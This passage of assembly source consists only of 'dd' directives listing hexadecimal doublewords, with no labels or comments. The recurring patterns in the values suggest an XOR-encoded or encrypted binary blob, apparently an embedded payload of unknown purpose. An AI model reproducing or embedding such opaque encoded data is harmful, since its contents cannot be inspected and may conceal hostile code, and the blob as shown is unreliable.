0FAFF0B1Fh dd 5674EADBh, 5539BE32h, 365DB132h, 0D2A1D0C7h, 5657B12Ch dd 56B33E3Dh, 453CB132h, 0A0EAB132h, 0CB377DEBh, 743743AAh dd 0CACC6392h, 0B46D1DBh, 51914B2Ch, 56A358DBh, 0FE4DB132h dd 419D58FFh, 11B2C53Ah, 56BAB133h, 91D64432h, 56AEB7DBh dd 8B8CB432h, 0D56FFFA2h, 0D8DAB4F2h, 56EAB133h, 524B58C7h dd 5C53B132h, 0E55DB132h, 7E2A5230h, 0BA2EDC15h, 572ABE64h dd 0AFD5B132h, 59ED7654h, 567C583Ah, 6CB6B132h, 0A4F653D2h dd 0DC255CBCh, 0B5D7492Ch, 56A3583Dh, 579AB132h, 7FE8C0DDh dd 0DC7AC5A6h, 56BAB138h, 56DCBE52h, 36AEB132h, 9DD7D053h dd 59F8D1B2h, 0BE8D628Dh, 56EAB13Bh, 54E7D96Ah, 0AD5F827Eh dd 0D3CD1BCh, 57F13953h, 564B383Dh, 0D8A4B132h, 56D5B124h dd 56EAA0DBh, 50F99F32h, 6863598Eh, 0F1A55A3Bh, 0FEDFC4D8h dd 91AEC8EEh, 56ABB375h, 0BFB5B132h, 56EAB13Ah, 4565F07Dh dd 9432DD8Fh, 565DBEDAh, 0E5DD5A32h, 0F3CC2422h, 11917C39h dd 3C0C1D11h, 770A3054h, 0DD14E946h, 56B558F5h, 0B3D3B132h dd 75370F1Ah, 252CC7ACh, 91147471h, 501532EEh, 56F2373Dh dd 459CB132h, 1CBAB132h, 63D739F6h, 5CEE519Ah, 5926E31Ch dd 3AA550A5h, 133CEA81h, 0AAEAB131h, 0C64B3054h, 0C73EBEA2h dd 0BF5DB132h, 56AEB123h, 0D955D68Ah, 50573AFDh, 7382E39Eh dd 0A099712Fh, 45F0BEA6h, 36BAB132h, 565DBDDBh, 0F2537132h dd 401AF794h, 26A7DBE7h, 6855D0D9h, 346FBEA2h, 3675B132h dd 0C4135AB3h, 47B5BA51h, 44AEB132h, 0EAECFB8Dh, 209E717Dh dd 6282512h, 4F877674h, 5675B9DBh, 7C7AAF32h, 99B4C460h dd 30CFEEF7h, 0C6A8CFB3h, 772FBEA2h, 36D5B132h, 0BC550954h dd 566A5853h, 4753B132h, 0F75DB132h, 0D3345F2Eh, 803593F5h dd 0D83202B8h, 0B145BD38h, 0BF1F76B9h, 5675B392h, 86383CCAh dd 365A5E8Ah, 30773A54h, 37E18989h, 701DD152h, 56D5323Dh dd 0EC8BB132h, 1C3B2F24h, 0DDDAE153h, 0E3E5D7C8h, 0BFF8D0DEh dd 5657B123h, 817AE57Fh, 5474DBDAh, 0D1CBBA4Bh, 2D66974Bh dd 5135BE0Ch, 595DB132h, 56AEB0B5h, 0C4A84832h, 514407B4h dd 5915BACEh, 56EAD5B6h, 40F0BE32h, 0BFBAB132h, 565DB123h dd 34A963B4h, 0E05D097Bh, 76A17B84h, 0F7F106EAh, 36223AC6h dd 56F6BE52h, 0D7BAB132h, 9E7846F0h, 5D46D056h, 8E57B132h dd 0ED357F6Fh, 0E16AC492h, 0E1E563B7h, 0DB14E9F8h, 0B9026180h dd 564C5835h, 0FC1FB132h, 26B82B4Ah, 7ADA8086h, 0A643B1E6h dd 0BF751415h, 5675B194h dd 0D9B5E7CAh, 565DB13Ch, 56AEB8DBh, 4A2D2A32h, 0C3AF96Bh dd 985E3874h, 56FB343Dh, 5A9CB132h, 1ABAB132h, 5B177004h dd 11339A0Bh, 38E252Eh, 56AA343Dh, 0AF29B132h, 0E08523CDh dd 0D17AB6DDh, 56BAB133h, 565158CAh, 381AB132h, 0F35C6CDEh dd 8456FFC9h, 0BF88D0DEh, 56EAB13Bh, 802B396Ah, 0C1F042ACh dd 36939A80h, 727867B3h, 0D4589D2Eh, 56ABB134h, 637757B3h dd 0A18BC1CFh, 0BF2B4DEBh, 56BAB13Dh, 0D61523CCh, 50F2E0FFh dd 97707D3Eh, 591EEC7Bh, 56D5BCBFh, 56E25832h, 0D6B2B132h dd 2FF74A20h, 2BDE983Eh, 0D3A1B0CAh, 5657B145h, 56ABBFDBh dd 3116FF32h, 6B1D39D5h, 74069D64h, 0E63E2D24h, 59F74D7Bh dd 56AEBDBFh, 50DEBE32h, 59ABB132h, 56D5B1B6h, 5952D732h dd 567058B7h, 2704B132h, 30538711h, 5D22BE99h, 0BF57B132h dd 56ABB134h, 27C86D5Eh, 0D1E536F2h, 5675B133h, 100CBEC7h dd 56585833h, 0EB24B132h, 0FD4F192Fh, 59783A52h, 56D5B7B6h dd 5664BE32h, 3775B132h, 562758CEh, 0D5A8B132h, 59AC494Fh dd 56573FB7h, 56AC5832h, 6664B132h, 6FBC41CDh, 5DCDD75Ch dd 0FDDC44FBh, 564F3A3Dh, 5B47B132h, 9157B132h, 44D016DDh dd 78856426h, 1F8AA1CAh, 0D27A0954h, 56BABBDBh, 0E1229532h dd 2FE8AF7h, 30E9E8B8h, 5A29BE99h, 59D5B132h, 56EAB7BBh dd 56FEBE32h, 59BAB132h, 595CF784h, 56AEB7B9h, 86DCD132h dd 0FDCAEA63h, 575CBE52h, 0AFEAB132h, 5675B9DAh, 5CD59A32h dd 0D2B70561h, 545B3123h, 46BED068h, 0AAABB132h, 56D5B7DBh dd 7AB59F32h, 0A51469F8h, 0DD424496h, 565258F5h, 0BC1BB132h dd 0B1AC2D89h, 0B708ED6Eh, 0BAD2DD10h, 5769BE76h, 0A375B132h dd 5035BE69h, 365DB132h, 0E0EE0E54h, 5DBEE853h, 1DABB132h dd 0BB3150BFh, 15F4358Bh, 0D87AB174h, 56BAB133h, 0DC52EFC7h dd 56AEB120h, 565B373Dh, 5142B132h, 0D9D5B132h, 0BED6766Dh dd 362A7D6Bh, 596C063Dh, 565DA8B8h, 56BA5832h, 3EF3B132h dd 0ABC03B0Ch, 2360365Fh, 0DC947180h, 6B252B99h, 9FDB707Bh dd 56495952h, 304FB132h, 6D9BF1A0h, 0E02E52CBh, 0DA743D2Dh dd 0F00975B1h, 0DC7ADF29h, 56BAB132h, 5E9FD069h, 4223BE32h dd 0BF57B132h, 56ABB13Dh, 0E1FB98DEh, 0D197CE18h, 9E858037h dd 3EE4DB3h, 36B13ACAh, 56A8343Dh, 0D358B132h, 56ABB132h dd 56D5B8DBh, 35D11F32h, 0BA2BAFABh, 36DB20DFh, 565D59CBh dd 0D7F4B132h, 0B9BE91D8h, 5B23BE35h, 36D5B132h, 7C245BB3h dd 0D713AFBDh, 37EB1AC4h, 56523B3Dh, 5C47B132h, 4557B132h dd 0AEC955A2h, 0FD832366h, 5EAF3A94h, 597A0752h, 56BAB3B0h dd 373CD132h, 6E2C38C7h, 36505E84h, 5740A54h, 0BFB4D0CBh dd 56EAB135h, 62819DA3h, 9FA05B38h, 564C303Dh, 5A47B132h dd 8B57B132h, 0DD3B7136h, 1A06526Dh, 36189E20h, 30BD3A54h dd 94DB60B9h, 0D052B136h, 56AEB133h, 0DDABE4CBh, 56AC58DEh dd 0D0A2B132h, 77A23859h, 0AEB13214h, 0BE46D1CEh, 565DB132h dd 0E8443068h, 0BF505EDBh, 56ABB123h, 3CCFBBF6h, 0A2A15E09h dd 0BC8CF137h, 1258CAE5h, 4ED3BE04h, 0BFAEB132h, 5657B121h dd 2F6C2345h, 0C4FC99D4h, 5ABC6C2Bh, 84194E0Eh, 912499F7h dd 565D4977h, 5F47B132h, 7957B132h, 79660F46h, 0B64EBB15h dd 5616F4F5h, 0BF75B132h, 56BAB139h, 921B0E8Ch, 365F8AB6h dd 659D4852h, 0AECB48F2h, 56D5A0DBh, 22E44832h, 0EEBA17FDh dd 0B56B7992h, 4380CF2Fh, 30CF9807h, 91AEAFB9h, 0B91393B0h dd 56D5B035h, 576ABE32h, 0A375B132h, 0C6413054h, 57D8BEA2h dd 0AEAEB132h, 59BF4AB2h, 56AE81B6h, 0EE6FD132h, 0DDBAA3FCh dd 3635D0FDh, 0FBB73B3h, 0D2529FBBh, 56AEB137h, 0F7803054h dd 0AD2BD08Fh, 5C51BEDBh, 0A3EAB137h, 0DA7AD172h, 56BAB131h dd 59853A54h, 56AEB4B2h, 91D6D732h, 0D6CABBA5h, 0D2DA5AC9h dd 56EAB5DBh, 56665852h, 0EA3CB132h, 4DDDB75Ah, 432DDA82h dd 0D2E11949h, 0CE33A2EFh, 5995D0D5h, 56EAA6BFh, 56675832h dd 8791B132h, 3BDAE44Eh, 5042B8EBh, 6A23942Eh, 34300D35h dd 56D5BDDBh, 779FAB32h, 2CC64C7Bh, 79B789F6h, 0A6BA31D5h dd 56B6353Dh, 45BEB132h, 88ABB132h, 2147B670h, 8EB86E24h dd 22642D6Bh, 88EDC4FAh, 0D73B170Bh, 592EBEC9h, 5653C5B6h dd 4525BE32h, 0BFD5B132h, 56EAB13Ch, 775A66CCh, 84DA0271h dd 0F8C9CA63h, 0D4ADEF99h, 51BEABD3h, 56ABB7DBh, 99098732h dd 16BEFBACh, 5674393Dh, 0BF43B132h, 565DB13Eh, 91040764h dd 0C05F0B3h, 831D3A8Bh, 59374AB2h, 56EEBEB6h, 0ADF54932h dd 8A3EBED1h, 0BF5DB131h, 56AEB134h, 9595851Eh, 0D7CD8DC9h dd 5936D6C9h, 56E95EB6h, 56725832h, 0C69AB132h, 183E0B19h dd 56BE58A7h, 2E5FB132h, 0A2BE035Ah, 0D4A725CDh, 0BB28B708h dd 0B5F56F25h, 5239BEC2h, 365DB132h, 0D6CFEB60h, 0D258C1C9h dd 56ABB2E3h, 0DCDAD152h, 56EAB132h, 5675A0DAh, 7CB6D532h dd 8DC12AD4h, 4B83A358h, 0B716A6Ah, 37F1EF0Eh, 56D4323Dh dd 3716B132h, 0AF6B3A54h, 0BF4252B2h, 565DB13Dh, 0CE4986DAh dd 0C9B4FA0Eh, 0A951D612h, 0D6795568h, 0D2E509C9h, 5675B06Fh dd 56BAA0DBh, 7871F232h, 0A0F4DAEh, 6CB0C844h, 11FE0D1Bh dd 68555336h, 686EBE37h, 5975B133h, 56BABBB2h, 0D552D132h dd 56AEB132h, 0D63669B8h, 0D2A49C0Ch, 56D5B017h, 56EAA5DBh dd 4FB6D932h, 398CB3FEh, 0B2AAD81Dh, 0F670DD99h, 83B0DB4Ch dd 3E953133h, 57D6353Dh, 5303B132h, 6775B132h, 77A570D7h dd 303DD172h, 59BC0D8Dh, 5657B1B6h, 0BFCAD032h, 56D5B13Fh dd 4CB8D7Ch, 3B77FC48h, 8702A754h, 74DF4E01h, 0BFA95E8Ah dd 5657B138h, 42463089h, 3F5E3B6Ch, 0DD8CC3C9h, 0B8F5D12Ch dd 8031D710h, 0AEBA3153h, 7B4C3052h, 374EBD6Bh, 0AD2AD7CBh dd 0D2DA59B3h, 56EAB193h, 567D3F3Dh, 0D9B5B132h, 565DB130h dd 0DDC8D052h, 0B1D7482Ch, 59CB49C2h, 0D7B3478Dh, 371319D1h dd 0D78E3054h, 203EBEF2h, 0AA5DB132h, 0BFFB4852h, 5657B134h dd 6399E779h, 0C42AA6D2h, 5105075Dh, 5674343Dh, 0B4FB132h dd 565DA5DBh, 77677B32h, 0F273B67h, 7A229676h, 0AF9676FEh dd 5AF238A9h, 0AA30388Ch, 56BAB6DBh, 0CD6F4532h, 0BDAF827Ah dd 565F383Dh, 0D4A4B132h, 56D5B130h, 598BD052h, 5675A0B9h dd 56B65832h, 4500B132h, 0FFC5D72Ah, 0BAEB5B0Eh, 2B28A599h dd 0D3DAB0CEh, 56EAB622h, 0D7CF3ACBh, 59BD5828h, 565DB0BBh dd 0BFFE4D32h, 5657B122h, 69855085h, 8D67CF0Ah, 0B97156E2h dd 6B3B8A19h, 0EE9833B9h, 36A1B6DDh, 0D6653A54h, 6F3667C3h dd 0BECB810Eh, 56D5B123h, 0EE37CFAh, 96716C15h, 0B5E53AA2h dd 794FFDE1h, 882FD7C0h, 0D7087A6Eh, 0BF2BE8F2h, 5B5D007h dd 425C68Dh, 9EFEEA06h, 0D4B5E953h, 565DB796h, 56AEBFDBh dd 1989C432h, 0BF87E500h, 1FA9F4E2h, 365E4970h, 3234218Bh dd 573DBE0Fh, 0AE5DB132h, 2F143A53h, 0BF505820h, 56ABB139h dd 87D4E865h, 5DD088C8h, 59C03E5Ah, 56BAA2B0h, 5BD0BE32h dd 0BFAEB132h, 5657B13Ah, 110A583Dh, 604F4822h, 56F85862h dd 0B709B132h, 0A54F14F7h, 523ABBD9h, 3426BDB0h, 7BA8B246h dd 0EE8933B9h, 6F2CB6DDh, 4603810Eh, 0F175B132h, 4FDDA445h dd 0C1ED266Ah, 0E97D15EAh, 0BF32C2F7h, 56ABB13Eh, 1ED2298Ah dd 75F7A4Dh, 0D5A25326h dd 5335BE6Ah, 365DB134h, 0C64E3054h, 0A7D6D714h, 0DDCAAF17h dd 0B9605088h, 0D6E5D135h, 5675B12Bh, 56BAA2DAh, 6C3C9C32h dd 44EA7F51h, 0A7C58005h, 884D760Bh, 4D1B81C8h, 2A50D169h dd 591D4034h, 37DB6985h, 87D6D752h, 0D5CFFB85h, 0B9E250B0h dd 0DF57A535h, 36B5D105h, 566CBE53h, 3775B132h, 0A831D763h dd 11D4D06Ah, 0A3FE4D22h, 0EE7533B9h, 0DAA4B6DDh, 56D5B12Fh dd 56FD363Dh, 449CB132h, 7BAB132h, 696AD5Eh, 0C2F8A436h dd 4CF72BA9h, 1B64D03Ah, 66C93A37h, 576CBE52h, 0AA75B132h dd 37E154B2h, 593D4D6Ah, 56AEA2B0h, 565A5932h, 71F1B132h dd 0BF2B82FDh, 0F3DCE970h, 0C48B50Ah, 3774063Dh, 0AE55EEBBh dd 56AB8EDBh, 56465832h, 625EB132h, 0D76A9E67h, 3DD8153Bh dd 1E12FFB7h, 9139376Dh, 565F4977h, 0D2A1B132h, 5657B135h dd 56AA3D3Dh, 0BF29B132h, 56EAB11Bh, 5675BADBh, 83F2CC32h dd 452EFA9Eh, 2F1E48E4h, 57AFF4F5h, 0BFABB132h, 56D5B13Fh dd 768A0070h, 4BEDCF6Ch, 4D2337A7h, 0B7E73A09h, 0AAA95E87h dd 0E3B633B1h, 0BFBFB6DDh, 56D5B138h, 3F011904h, 5A929A29h dd 61330DCDh, 564C5952h, 30D3B132h, 11440314h, 47FDE9D0h dd 9BE76F9Ch, 301B67C9h, 302C76B9h, 95DF7EB3h, 461A3853h dd 56AEBADBh, 0CBAF2032h, 5A781234h, 92E27E59h, 59E949B1h dd 567582B7h, 56BD5832h, 0BC1EB132h, 578106ABh, 0D49049FDh dd 51440910h, 56D5B130h, 56EAB6DBh, 0AFB80932h, 598BFB8Fh dd 565D93DBh, 4CED132h, 0DDECD769h, 375ED011h, 59D749B1h dd 56E877BFh, 567C5832h, 0D47EB132h, 0F1E6027Eh, 0D5C9A445h dd 5957494Fh, 56AB0CB6h, 0E0DA4832h, 5E03B074h, 8275B132h dd 0F5238F5Bh, 0FF40F37Eh, 56AEB1B2h, 563B343Dh, 0D1A4B132h dd 56D5B112h, 56F95952h, 0FBDBB132h, 77B9A7E1h, 0EE31BCFDh dd 0B9C6DA65h, 556D30ECh, 9F14E8D7h, 37D41E5Fh, 59B8D172h dd 5675B1B3h, 0E1B5EA32h, 0BEDED0E1h, 5125BE37h, 5957B132h dd 56ABB0B7h, 173C4432h, 59EAB132h, 5675ACB3h, 0A631D132h dd 565DA5DBh, 0FFD92A32h, 943BBEF2h, 0C41DBFF9h, 0E829D2C2h dd 0FAE88337h, 0A958D07Ch, 59BAB132h, 565DB9BBh, 8524D132h dd 23E40B54h, 53433253h, 9C62BE52h, 372B3A54h, 5675DEDBh dd 5D534832h, 0BF5DB132h, 0A6FB56D8h, 5D6E1C5Eh, 59F85953h dd 56D5BBB6h, 0DFE5D132h, 5675B132h, 0DDDB7EB9h, 0B9E593A8h dd 5328BE35h, 3657B132h, 375EEB62h, 36E6B5B9h, 56EAB8DBh dd 27F00532h, 0A5D24E6Ah, 0E95281DEh, 0D7A1D0E8h, 5657B135h dd 56AA323Dh, 0D20B132h, 56F8343Dh, 0BF15B132h, 56BAB138h dd 5549F1B8h, 4DA59A6Dh, 37AEAE6Fh, 56ABB19Bh, 9950BEB2h dd 36EAB132h, 5675B4DAh, 65B85232h, 9A1B471h, 56A05852h dd 260CB132h, 0C9D0A332h, 0CFE4FD3Ah, 0BE9D155Eh, 3714D052h dd 36DA7731h, 565DBEDBh, 9EAA1432h, 0A6953D7h, 0B486D8B7h dd 0E9D70644h, 308B76B8h, 0D51462B9h, 5542B4F2h, 0B9E593B0h dd 4D2DBE35h, 3657B132h, 56ABA3DAh, 774D0332h, 52358964h dd 0B050D788h, 435B9D3Eh, 8AE5813h, 0AFE6D0CEh, 0CC520952h dd 0DEA4AC9Ah, 56D5B130h, 0DF8BD052h, 5E9CB975h, 62BAB132h dd 0C5714789h, 0DFA7135Dh, 58BEBD75h, 37ABB132h, 897D0BFCh dd 0DAF708C6h, 2B0379EDh, 3353440Ah, 365DB130h, 5965063Dh dd 5657B3B8h, 37260532h, 56C5343Dh, 5D03B132h, 6A75B132h dd 42DDABEBh, 387E189Ah, 8E59AF93h, 5657B6DBh, 7117E232h dd 953E7B43h, 44037719h, 8B75B132h, 8ADAEC30h, 0F277CB83h dd 32A20F97h, 0A6ED778Eh, 56B958E9h, 0E39DB132h, 0D6638202h dd 7DFEED76h, 895137C5h, 0CBF579E3h, 0D7CE69C5h, 7194C1D1h dd 56A35832h, 0D335B132h, 515A96E7h, 0D51459A2h, 5353B4F2h dd 0CE5DB132h, 24B9205Dh, 0EE753331h, 1E5EB6DDh, 56D43B3Dh dd 0DF12B132h, 0DA7AB975h, 56BAB122h, 565DBADBh, 5F4ED632h dd 7A2C2E7h, 96D4A6E6h, 36D9F6BBh, 9B210A54h, 371E7EB2h dd 56BB16DBh, 593DD132h, 56AEB1BCh, 0BF364D32h, 56ABB13Ch dd 0A3EDED91h, 0ECA7933Ah, 73C76907h, 65DBB878h, 0D552D1F2h dd 56AEB131h, 0AAFF58B2h, 57ED3B53h, 0BE3A0152h, 56EAB120h dd 69536C1Bh, 0A8C00D2h, 0D2EF402Fh, 40723E2Bh, 0EE31E194h dd 37F0A7ABh, 0D3DA319Ah, 56EAB1FAh, 5675A3DBh, 19E94232h dd 0D0E85F63h, 15C6DE8Bh, 2ADA4D1Ah, 5564D2C3h, 0DDB3D1F4h dd 4169BEC2h, 0BE75B132h, 56BAB123h, 88CCC4Bh, 3F6460Fh dd 6491B5D9h, 63623777h, 0D5B4EF87h, 0D0E5B3F2h, 5675B13Eh dd 56BC373Dh, 0DE52B132h, 56AEB132h, 5657B089h, 8DA04832h dd 56E7353Dh, 598AB132h, 0DC147185h, 0B8636AA8h, 57DDBE35h dd 0A3AEB132h, 365652B2h, 56ABB8DAh, 34399432h, 11BC7702h dd 0E6C18BBDh, 0E90CD169h, 0E14E69B3h, 37CFDB2Ch, 5ABE7231h dd 0B5ABB132h, 529AF1B9h, 58436C98h, 0DF180896h, 0E9DAB975h dd 78C9A166h, 37663A54h, 5A1038C7h, 911CBE52h, 372B3A54h dd 56EA3EDBh, 57FCBE32h, 0A3BAB132h, 0BF3D69C5h, 56AEB120h dd 9440506Ch, 0FB5E66A6h, 9020871Ah, 1D57B133h, 3789FC90h dd 56BA4E17h, 56515832h, 0A5FAB132h, 0C34FC9AAh, 293DB861h dd 443CAB3Bh, 67EAB132h, 224BFB1Ah, 2CD79F0Dh, 15BCE3CCh dd 0F8DBE8C1h, 0BF919A88h, 56ABB122h, 46CDBC71h, 0FA25EB72h dd 15F52FD7h, 0E879E672h, 0E83D69C5h, 652FF816h, 58A73054h dd 9628D003h, 56DF5830h, 8FAAB132h, 65E9C214h, 1DFF9887h dd 0AF55F6BBh, 0AFA2F6BBh, 46DDBECAh, 59ABB132h, 56D5BBB6h dd 56EF5832h, 9DB9B132h, 378A9492h, 5DB478CEh, 97AEB132h dd 725D2768h, 493391F8h, 3616DE4Ch, 56EAB4DBh, 4B73AE32h dd 30EAEA51h, 2AC060B3h, 5147D06Bh, 0BA57B132h, 49879313h dd 0BF8071D0h, 56EAB137h, 0A3943DEDh, 0A43BD125h, 432B5F03h dd 4E390954h, 0BFBB3A53h, 56ABB13Ch, 0B566253Ch, 70CD1F5h dd 15738C95h, 9239581Ch, 0BF3D4DCEh, 56AEB138h, 0CB27BF8Fh dd 0E28DA13Ch, 30B591EDh, 797A6AB3h, 5675BEDBh, 8D13C132h dd 16AB8613h, 2694CDF2h, 0DF4B3B1Bh, 56AB5953h, 0D78FB132h dd 0B91F9DD8h, 0D17AD135h, 56BAB130h, 363C61B9h, 56AB5862h dd 4CAEB132h, 0E344B35h, 0E86F3A53h, 59ED5E87h, 5675B8B0h dd 0D74FD132h, 8F91D8F9h, 6552D039h, 0D858D1FBh, 56ABB130h dd 0E9DA57B8h, 6969D0C1h, 2FF1BE32h, 0AABAB137h, 0BE3DB6B9h dd 56AEB135h, 8EEFA615h, 0BFED0F2Dh, 56D5B13Dh, 0DB4B1EB2h dd 0B935DA7Dh, 0F2BDC574h, 0C38B592h, 3773054h, 23A8D0F5h dd 442CBE3Eh, 0BFD5B132h, 56EAB13Fh, 8BAB62A7h, 0DBC8D007h dd 0F746DE90h, 5EDB4EF3h, 5656343Dh, 65EB132h, 6D053052h dd 599FEE84h, 0BE144085h, 56BABB76h, 300E4452h, 910B68Bh dd 5997BA53h, 56ABF7B7h, 56C75832h, 0B7AAB132h, 4767D753h dd 266620A0h, 0EEF807A9h, 796B02C4h, 5937B6B9h, 37537E8Dh dd 5263052h, 0DD8F3972h, 7F9CD0E5h, 0BFBAB132h, 565DB121h dd 0A7A745DDh, 0D285F4F4h, 0BFB36D0Bh, 8AF005A6h, 0D5BC4976h dd 0BF8CA5F5h, 0A9454E04h, 0E7B53052h, 378E0B30h, 59ABF4BBh dd 56ABB0B0h, 0EEB54932h, 6770E7B5h, 5A004E53h, 5ECF4ECAh dd 565DA2DBh, 86CA0132h, 0A8C9AAC4h, 0FB51DC9Ch, 0CF68DFD5h dd 1B885292h, 0BF1586CDh dd 56BAB137h, 9DAB5Ah, 56A958FBh, 0F50CB132h, 9C0F90A4h dd 0DB3DD092h, 36EAB13Bh, 5675BDDBh, 0E9EFF532h, 0C07D9965h dd 0C074D9E2h, 37803AB8h, 0D2A47139h, 56D5B123h, 52D458CEh dd 0D615B132h, 873B5DF4h, 33C153E6h, 0AAEB3A53h, 5659313Dh dd 5F42B132h, 5CD5B132h, 0D2743068h, 0E5E230B7h, 0D4B5B60Bh dd 565DB526h, 56A93F3Dh, 0D658B132h, 56ABB133h, 0AA904ECEh dd 905DBE52h, 0D51476B9h, 59BAB54Dh, 565DD6B6h, 0DCA1D132h dd 5657B134h, 56AB353Dh, 5F3DB132h, 0AEEAB132h, 69A977B4h dd 4B558C34h, 565DA1DAh, 0E429E532h, 67DDFF8h, 0EDDCDCDFh dd 0DF4BDD59h, 37B4EA77h, 5679CEB1h, 5690353Dh, 0BFA5B132h dd 56AEB192h, 56435952h, 8727B132h, 6EED186Dh, 52EFF193h dd 1E37489Ah, 0FF789BE2h, 95DCA957h, 4F3BBDE9h, 379F3A6Ch dd 0A9544E8Ah, 0D7DAD1CDh, 56EAB132h, 0EF1479B9h, 56BAB137h dd 565C3D3Dh, 5952B132h, 5657AFBEh, 4E21BE32h, 0BFD5B132h dd 56EAB121h, 0BF525541h, 9BD047Bh, 81259C7Dh, 7F6F36CBh dd 0A577C85Bh, 0DDCDD199h, 56C459F8h, 7D37B132h, 0B13C6AA3h dd 0C4DAC278h, 483FFF8h, 0BE0597B3h, 5657B135h, 0BE7E5A0h dd 0E9358E8h, 2803D06Ah, 0BF8A4ECCh, 56BAB13Ah, 0DA9669B6h dd 0C067689Fh, 5347CEB1h, 56EC353Dh, 0D529B132h, 59ECA14Dh dd 5675CEB7h, 36FB4D32h, 2674C78Bh, 0E115D73Eh, 11DCD06Dh dd 5F43D136h, 0F1D5B132h, 626F7884h, 6DEFED17h, 0DCE2E962h dd 9D6D0E3h, 147443Eh, 5957B130h, 56ABB9B2h, 6367D132h dd 916B0E54h, 52323A53h, 56BAB8DBh, 7B36EB32h, 6959CB2Eh dd 0E93744F9h, 3666B968h, 835569B3h, 0DD8B8E22h, 469CBD6Dh dd 83BAB132h, 2ED40ABFh, 0C9D1CDC1h, 0AAC5BB1Eh, 0BF8049EDh dd 56D5B339h, 8855BE52h, 37AD3A54h, 0A3BEF6B9h, 56553F3Dh dd 0D4A1B132h, 5657B130h, 920D052h, 5E56BE3Eh, 59EAB132h dd 5675B3B0h, 6DDBD132h, 0D352B96Dh, 56AEB03Dh, 0C7EED752h dd 4CA4438h, 56D5B8DBh, 0B40F7932h, 3FF0ED0Ch, 131531Fh dd 0DC52D136h, 56AEB139h, 5657B7DBh, 3CF19C32h, 0DDFE14C9h dd 3C1D0ECh, 56735822h, 1A48B132h, 0C7C3B5B1h, 59BAE431h dd 5657BDB0h, 56AC5832h, 1D18B132h, 5C22C2A0h, 5A2A3A14h dd 56BB3D3Dh, 7DA8B132h, 422BBEE8h, 0BF57B132h, 56ABB13Dh dd 2B45D3BEh, 0CEEC8110h, 0B510B327h, 593375E3h, 565DAFBAh dd 4E2FBE32h, 0BF57B132h, 56ABB121h, 7A94E29Fh, 9A25CBF6h dd 0B427482Ah, 0F8D7BC7h, 0D56EF413h, 4247B4D9h, 0C457B132h dd 743A516Dh, 4A3F2D4Eh, 845151DBh, 0C74243D8h, 0C27FE7Dh dd 9FDCD752h, 4246E474h, 0A857B132h, 5620DAFh, 8BF1824Fh dd 6EF9CC41h, 4A23DCC0h, 30B9FEA7h, 37024AB9h, 56AEBEDBh dd 0BAE3CC32h, 39C20631h, 7B732C6Ah, 0DA6D4F9Bh, 567503DBh dd 4230BE32h, 0BF5DB132h, 56AEB13Dh, 8051E785h, 0D84AA664h dd 0AE65C390h, 0DD053480h, 3689B575h, 37720E3Dh, 3651EEB9h dd 42467BB9h, 0B057B132h, 88B48924h, 4F3BBCC3h, 0C9DB0B73h dd 88748D9Ch, 0BFEEDA91h, 565DB13Dh, 22C2F82Ch, 55617F97h dd 0E9C3EA33h, 0D914272h, 52B59A53h, 53FCBE52h, 30BAB132h dd 67669B3h, 3768063Dh, 56563D3Dh, 0D553B132h, 0D2DAB4D9h dd 56EAB13Fh, 4DE90852h, 0DEB5F25Ah, 565DB132h, 2324B253h dd 36505818h, 56ABBEDBh, 651DC332h, 111784B3h, 0E0F3D90Eh dd 514ECCA8h, 565DB7DAh, 6E2B7432h, 361E3BD6h, 0D5CAEE53h dd 59D6A14Dh, 56EA97B7h, 567B5832h, 0C8CAB132h, 0B9F71F17h dd 3037EA32h, 516D3CA8h, 5A23BE73h, 59D5B132h, 56EAB7BDh dd 56FBBE32h, 7DBAB132h, 0AD449EBh, 5047B033h, 3357B132h dd 274B4E92h, 583CD11Fh, 96EAB132h, 2211357Dh, 25D32EFh dd 5F317DB1h, 9E2FD1CBh, 55896A8Ah, 0EECAD0CAh, 0A92A4ECDh dd 56F9333Dh, 0BE15B132h, 56BAB13Ah, 0B670965Ah, 80B55F6Dh dd 0AFDCD769h, 56AE0853h, 0A529B132h, 56E75899h, 0B055B132h dd 0A35279A3h, 991CC50Ah, 0BFA7491Fh, 0A9A84A5Fh, 0AF14BE52h dd 4DED0864h, 37B5E2DBh, 567F5853h, 8029B132h, 4E1C364Bh dd 0F9DF4366h, 0E005D1FBh, 0AA13E820h, 37F456B3h, 36EAA1F0h dd 567E313Dh, 5053B132h, 2C5DB132h, 781DE068h, 370EE0EBh dd 56ABB6DBh, 75A7B632h, 6EB6125Bh, 0BAFE4467h, 56AE363Dh dd 59B4B132h, 62AEB132h, 623F5B82h, 0DEFAF0ACh, 0CD5A9F83h dd 926947C5h, 567858CEh, 4C2BB132h, 0D48B1B1Dh, 0B9668F84h dd 0AA57A78Ch, 56A55852h, 472FB132h, 704ECC78h, 0D4E080A2h dd 7AA92081h, 49B73152h, 0BECF9D82h, 5657B132h, 0D0413068h dd 0AED25EC9h, 56EAB6DBh, 6A1E5A32h, 2592719Eh, 0E8E73ACAh dd 36A95E87h, 5657A5DBh, 0CEC49832h, 29027F06h, 0D9CD2BB2h dd 0C3AE8C28h, 4888406h, 0F0CC0F1Fh, 65CFB03Bh, 0DDAFD1FBh dd 6928D0CAh, 0AC51BE32h, 59EAB131h, 5675BDB1h, 5036BE32h dd 595DB132h, 56AEB1B4h, 59503A32h, 56ABBDB2h, 5055BE32h dd 59EAB132h, 5675B1BDh, 5ACF4E32h, 565DB4DBh, 0FF635932h dd 23A8346Ch, 36FB493Ah, 0B1153054h, 56EF58F2h, 0CC5EB132h dd 3737DDE2h, 55A359CBh, 0D8A1B132h, 5657B136h, 379D0752h dd 0D3DA7139h, 56EAB10Ch, 56785852h, 48A5B132h, 6176FA36h dd 41C632E2h, 30512581h, 0DDCA42B9h, 56C75835h, 932EB132h dd 0C0960598h, 164BC53h, 0AE8128F3h, 1FE8AB0Ch, 5657F0DBh dd 0D7CDD132h, 0E4650DF3h, 9169D0EEh, 56665826h, 35D6B132h dd 0C965272Ah, 16F5681Dh, 4F64F1CDh, 3373FF6Eh, 0A9ED58F3h dd 45034ECDh, 6B75B132h, 1E184D75h, 998AAF82h, 0F46332D1h dd 0D6D0B31Dh, 132200E0h, 56DB58CEh, 8794B132h, 10DD5A6Bh dd 0E18DDDDh, 22359B24h, 0AFA2C4CDh, 0BF5FC4CDh, 56ABB13Bh dd 0ADBBEC0Ah, 0B45492CBh, 618A4D1Bh, 56BAB8DBh, 1B94BF32h dd 1D759A7Dh, 63BF3562h, 36ABB131h, 0D6EB7AB3h, 5B02E201h dd 9075B132h, 0A118B49Ch, 0CF0703C5h, 0D89A6975h, 370960B8h dd 5943E352h, 0D8D5B132h, 